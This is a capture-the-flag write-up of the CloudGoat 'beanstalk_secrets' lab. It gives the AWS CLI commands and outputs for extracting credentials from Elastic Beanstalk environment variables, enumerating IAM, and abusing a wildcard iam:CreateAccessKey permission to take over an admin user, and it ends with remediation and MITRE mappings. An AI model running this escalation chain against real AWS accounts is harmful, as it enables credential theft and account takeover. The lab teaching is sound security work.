Write-up: From low-privilege user to admin (AWS CLI approach)
š 2026-01-11
Scenario: beanstalk_secrets
Platform: CloudGoat (Rhino Security Labs)
Tools: AWS CLI (no exploitation frameworks)
Objective: Extract secrets from Elastic Beanstalk, escalate to admin, and retrieve the flag.
Low-Priv User ā Beanstalk Enum ā Secondary Creds ā IAM Enum ā CreateAccessKey ā Admin ā Flag
aws configure --profile ebs-1
# Access Key: AKIA****************
# Secret Key: EOyTyXYE/DwNCFAHmFSla5SWz**************
aws sts get-caller-identity --profile ebs-1
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cgid09kivyz0ga_low_priv_user"
}
aws elasticbeanstalk describe-applications --profile ebs-1
Found: cgid09kivyz0ga-app - "Elastic Beanstalk application for insecure secrets scenario"
aws elasticbeanstalk describe-environments --profile ebs-1
| Property | Value |
|---|---|
| Environment | cgid09kivyz0ga-env |
| Application | cgid09kivyz0ga-app |
| Platform | Python 3.11 on Amazon Linux 2023 |
| Status | Ready |
aws elasticbeanstalk describe-configuration-settings \
--application-name cgid09kivyz0ga-app \
--environment-name cgid09kivyz0ga-env \
--query "ConfigurationSettings[0].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" \
--output table \
--profile ebs-1
| Namespace | Name | Value |
|---|---|---|
aws:elasticbeanstalk:application:environment | PYTHONPATH | /var/app/venv/staging-LQM1lest/bin |
aws:elasticbeanstalk:application:environment | SECONDARY_ACCESS_KEY | AKIA**************** |
aws:elasticbeanstalk:application:environment | SECONDARY_SECRET_KEY | 19jM1vKF4UQqw8vJo6FwKKxd************** |
Credentials extracted from environment variables.
aws configure --profile ebs-2
# Access Key: AKIA****************
# Secret Key: 19jM1vKF4UQqw8vJo6FwKKxd**************
aws sts get-caller-identity --profile ebs-2
Confirmed: cgid09kivyz0ga_secondary_user
list-users ā list-attached-user-policies ā get-policy ā get-policy-version
aws iam list-users --profile ebs-2
| Username | Note |
|---|---|
cgid09kivyz0ga_admin_user | Target |
cgid09kivyz0ga_low_priv_user | Initial access |
cgid09kivyz0ga_secondary_user | Current user |
aws iam list-attached-user-policies \
--user-name cgid09kivyz0ga_secondary_user \
--profile ebs-2
{
"AttachedPolicies": [
{
"PolicyName": "cgid09kivyz0ga_secondary_policy",
"PolicyArn": "arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy"
}
]
}
aws iam get-policy \
--policy-arn arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy \
--profile ebs-2
Noted DefaultVersionId: v1
aws iam get-policy-version \
--policy-arn arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy \
--version-id v1 \
--profile ebs-2
{
"Statement": [
{
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:ListRoles",
"iam:GetRole",
"iam:ListPolicies",
"iam:GetPolicy",
"iam:ListPolicyVersions",
"iam:GetPolicyVersion",
"iam:ListUsers",
"iam:GetUser",
"iam:ListGroups",
"iam:GetGroup",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
| Permission | Resource | Impact |
|---|---|---|
iam:CreateAccessKey | * (wildcard) | Can create access keys for ANY user, including admin |
aws iam create-access-key \
--user-name cgid09kivyz0ga_admin_user \
--profile ebs-2
{
"AccessKey": {
"UserName": "cgid09kivyz0ga_admin_user",
"AccessKeyId": "AKIA****************",
"Status": "Active",
"SecretAccessKey": "C8aC3UMs1rMewHHLwAHxxk4T**************"
}
}
aws configure --profile admin
aws sts get-caller-identity --profile admin
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cgid09kivyz0ga_admin_user"
}
Privilege escalation successful.
aws secretsmanager list-secrets --profile admin --region us-east-1
Found: cgid09kivyz0ga_final_flag
aws secretsmanager get-secret-value \
--secret-id cgid09kivyz0ga_final_flag \
--profile admin \
--region us-east-1
FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}
āāāāāāāāāāāāāāāāāāāāāāā
ā Low-Priv User ā
ā (ebs-1 profile) ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā elasticbeanstalk:DescribeConfigurationSettings
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā Beanstalk Secrets ā
ā - Access Key ā
ā - Secret Key ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā Secondary User ā
ā (ebs-2 profile) ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā iam:CreateAccessKey (Resource: *)
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā Admin User ā
ā (admin profile) ā
āāāāāāāāāāāā¬āāāāāāāāāāā
ā secretsmanager:GetSecretValue
ā¼
āāāāāāāāāāāāāāāāāāāāāāā
ā FLAG ā
āāāāāāāāāāāāāāāāāāāāāāā
| # | Vulnerability | CWE |
|---|---|---|
| 1 | Hardcoded credentials in Beanstalk environment variables | CWE-798 |
| 2 | Overly permissive IAM policy (iam:CreateAccessKey on *) | CWE-732 |
| 3 | Lack of least privilege principle | CWE-250 |
iam:CreateAccessKey - Scope to self only:
{
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "arn:aws:iam::*:user/${aws:username}"
}
CreateAccessKey API calls| Tactic | Technique | ID |
|---|---|---|
| Credential Access | Unsecured Credentials: Credentials in Files / Environment Variables | T1552.001 |
| Discovery | Cloud Service Discovery | T1526 |
| Privilege Escalation | Valid Accounts: Cloud Accounts | T1078.004 |
| Persistence | Account Manipulation: Additional Cloud Credentials | T1098.001 |
# Beanstalk Enumeration
aws elasticbeanstalk describe-applications
aws elasticbeanstalk describe-environments
aws elasticbeanstalk describe-configuration-settings --application-name X --environment-name Y
# IAM Enumeration Workflow
aws iam list-users
aws iam list-attached-user-policies --user-name X
aws iam list-user-policies --user-name X
aws iam get-policy --policy-arn X
aws iam get-policy-version --policy-arn X --version-id vN
# Privilege Escalation
aws iam create-access-key --user-name X
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id X